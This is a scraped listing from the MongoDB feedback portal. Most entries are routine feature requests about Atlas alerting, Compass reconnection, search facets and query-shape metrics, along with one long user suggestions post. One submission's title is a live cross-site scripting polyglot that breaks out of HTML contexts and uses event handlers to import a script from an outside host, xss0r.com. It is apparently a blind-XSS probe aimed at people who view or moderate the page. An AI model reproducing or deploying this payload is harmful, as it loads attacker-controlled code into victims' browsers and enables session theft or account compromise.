Skip to Main Content

MongoByte MongoDB Logo

Welcome to the new MongoDB Feedback Portal!

{Improvement: "Your idea"}
We’ve upgraded our system to better capture and act on your feedback.
Your feedback is meaningful and helps us build better products.

ADD NEW FEEDBACK

Enterprise Advanced

122 VOTE

Include Problematic Query Details Directly in Query Targeting Alerts

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. When Atlas sends an alert such as "Query Targeting: Scanned Objects / Returned has gone above threshold", the notification...
Sooya Park about 2 months ago in Atlas Monitoring, Alerts & Observability Planned

No ability to reconnect if socket closed

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. We have servers that we are connecting to via ssh tunnel. Connection works fine in Compass, but if I come back to the GUI ...
Rasmus Bonnevie 9 minutes ago in Compass & Data Explorer Submitted

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload=(import(/https:\xss0r.com\c\saas/.source))//>

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. What would you like to see happen? Describe the desired outcome or enhancement. Why is this important to yo...
Ari Turner about 8 hours ago in Atlas Submitted

Hi MongoDB Team, First of all, thank you for building such a powerful platform. MongoDB Atlas has been really helpful for our projects, especially in terms of scalability and ease of setup. That said, I wanted to share a few challenges I (and many developers around me) have been facing: 1. **Pricing clarity and cost spikes** Sometimes the pricing feels a bit unpredictable, especially with auto-scaling. It would really help if there were clearer cost breakdowns or alerts before sudden spikes happen. 2. **Slow query debugging experience** While performance monitoring exists, identifying exactly *why* a query is slow can still be confusing. More detailed insights or beginner-friendly suggestions would be great. 3. **Connection issues and error messages** At times, connection errors are hard to understand, especially for students or new developers. More descriptive error messages or guided fixes would save a lot of time. 4. **Learning curve for beginners** MongoDB is powerful, but beginners often struggle with schema design and indexing. More interactive tutorials or real-world examples inside Atlas would help a lot. 5. **UI/UX improvements** The Atlas dashboard is good, but some sections feel a bit cluttered or hard to navigate. A simpler, more intuitive layout would improve the experience. 6. **Better integration guidance** When integrating with frameworks (like FastAPI, Node.js, etc.), clearer official guides or templates would make development smoother. Overall, MongoDB Atlas is a great platform, and with a few improvements in usability, cost transparency, and developer guidance, it could become even better. Thanks again for your work, and I’m excited to see what you build in 2026! Best regards, Likith Sai

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. What would you like to see happen? Describe the desired outcome or enhancement. Why is this important to yo...
lighting 95 about 20 hours ago in Atlas Submitted

Add customData field for createUser on the Cloud Manager GUI

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. At the moment we can specify a customData field via db.createUser() as specified in https://www.mongodb.com/docs/manual/re...
Kanak Gupta 6 days ago in Cluster Deployment & Management Submitted

Atlas $search facets against embedded documents have no ability to count/bucket at the parent document

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. The $search.returnScope query option supports fetching matching embeddedDocuments, and additionally performs sorting, face...
Jonathan Ostrander 5 days ago in Atlas Search Planned

Change withDefaultAlertSettings on existing project

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. We have moved the alerts settings of our Atlas project in a Terraform IAC and we monitor the number of alerts settings in ...
Emmanuel GORSE 20 days ago in Atlas Monitoring, Alerts & Observability Started

Include Alert Name in Webhook

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. When receiving MongoDB Atlas alert webhooks, the payload only includes the alert ID and does not include a human-readable ...
Matthew Nelson 28 days ago in Metrics & Observability Future Consideration

Query Insights: accept query shape hash search parameter in lowercase

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. I would want to create a Link from our Datadog Dashboard showing various Query Shape Metrics, to the corresponding Query I...
Markus Dobel 14 days ago in Atlas Monitoring, Alerts & Observability Future Consideration

Query Shape Metrics: Add the clusterid as a tag to each metric

What problem are you trying to solve? Focus on the what and why of the need you have, not the how you'd like it solved. I would want to create a Link from our Datadog Dashboard showing various Query Shape Metrics, to the corresponding Query I...
Markus Dobel 14 days ago in Atlas Monitoring, Alerts & Observability Future Consideration